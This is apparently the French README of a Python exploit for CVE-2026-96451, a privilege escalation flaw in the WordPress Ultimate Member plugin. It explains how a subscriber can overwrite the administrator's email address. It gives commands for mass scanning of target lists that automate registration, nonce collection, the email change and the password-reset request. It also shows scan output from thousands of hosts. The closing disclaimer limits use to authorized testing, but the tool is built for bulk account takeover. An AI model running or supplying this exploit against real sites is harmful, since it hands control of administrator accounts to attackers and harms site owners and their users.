
Exploit Python pour CVE-2026-96451 dans WordPress Ultimate Member <= 2.13.1 : automatise l'inscription, la collecte de nonce et la prise de contrôle de compte par changement d'e-mail sur des listes de cibles.
Vulnérabilité d'élévation de privilèges dans le plugin WordPress Ultimate Member <= 2.13.1
Ultimate Member <= 2.13.1 — Élévation de privilèges / Prise de contrôle de compte
📌 Enregistrement officiel : CVE-2026-96451
D'après CVE.org :
Vulnérabilité de contournement d'autorisation via une clé contrôlée par l'utilisateur dans Ultimate Member Ultimate Member ultimate-member permettant une élévation de privilèges. Ce problème affecte Ultimate Member : de n/a jusqu'à 2.13.1.
| Champ | Valeur |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| 📊 CVSS 3.1 | 8.8 ÉLEVÉ AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Assignateur | Patchstack |
| ⚠️ Affecté | Ultimate Member jusqu'à 2.13.1 |
| ✅ Corrigé | 2.14.0 |
Un abonné connecté peut modifier l'adresse e-mail d'un autre utilisateur (généralement l'administrateur). WordPress accepte alors une réinitialisation de mot de passe pour cette nouvelle boîte aux lettres.
um_fetch_user($user_id) et bascule l'utilisateur global vers l'ID présent dans l'URL.download_routing() retourne sans appeler um_reset_user()._um_account=1, user_email=...).account_submit() lit um_user('ID') — désormais la victime — et écrit la nouvelle adresse e-mail.Le nonce de téléchargement est wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Il est lié à cet ID utilisateur. Il ne peut pas être inventé. Le script le copie depuis un lien visible /um-download/{form}/{field}/{user}/{nonce}/.
Un champ personnalisé de type file ou image doit être affiché sur le profil. Les photos de profil/couverture intégrées ne produisent pas ce lien.
pip install requests rich
L'inscription, la connexion, la collecte de nonce, l'exploit et la vérification de réinitialisation sont automatiques. Vous ne créez pas de comptes manuellement et vous ne fournissez pas de mot de passe d'abonné pour un scan de masse.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
Ce que cette commande fait sur chaque hôte :
/account//um-download/ visible (préfère l'ID utilisateur 1, puis tout membre disposant d'un fichier)--emailwp-login.php?action=lostpassword (WordPress n'a pas besoin de nonce ici)um_takeover.txt--email est la boîte aux lettres placée sur le compte cible afin que vous puissiez recevoir la réinitialisation. Le script n'ouvre pas la boîte de réception et ne définit pas de nouveau mot de passe. Cette dernière étape est manuelle.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Option | Objectif | Valeur par défaut |
|---|---|---|
-l / --list | Fichier de cibles | — |
-u / --url | Une cible | — |
-t / --threads | Workers | 10 |
-o / --output | Fichier de résultats | um_takeover.txt |
--email | Boîte mail écrite sur la victime | générée automatiquement |
--target-id | ID utilisateur préféré | 1 |
--user / --password | Utiliser un abonné existant au lieu de s'enregistrer | désactivé |
-v / --verbose | Afficher chaque étape | désactivé |
Sur une machine RDP lente, 80–150 threads suffisent. Un scan de liste accorde environ 22 secondes à chaque hôte.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Code | Signification |
|---|---|
RST / CHG | E-mail modifié et/ou réinitialisation acceptée — vérifiez la boîte de réception |
UM | Ultimate Member détecté |
REG | L'auto-enregistrement a créé une session |
rf | Aucun formulaire public, CAPTCHA, approbation ou activation par e-mail |
lf | Enregistré mais connexion échouée |
na | Page de compte / nonce manquant |
nd | Aucun nonce de téléchargement visible (pas de champ de fichier personnalisé) |
nc | Exploit envoyé, changement non confirmé |
no | Pas Ultimate Member |
REG_FAIL sur de nombreux hôtes est normal. La chaîne ne se poursuit que là où l'enregistrement crée une session et où un lien de téléchargement est visible.
Lorsque RST ou CHG apparaît :
--email/wp-login.php ou /wp-admin/Ce projet est destiné exclusivement à la recherche en sécurité autorisée — les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de test.
L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas de mauvaise utilisation, de dommage ou de toute conséquence de ce logiciel. Vous êtes seul responsable de son utilisation et de chaque cible que vous scannez.
Par : Nxploited ( Khaled Alenazi )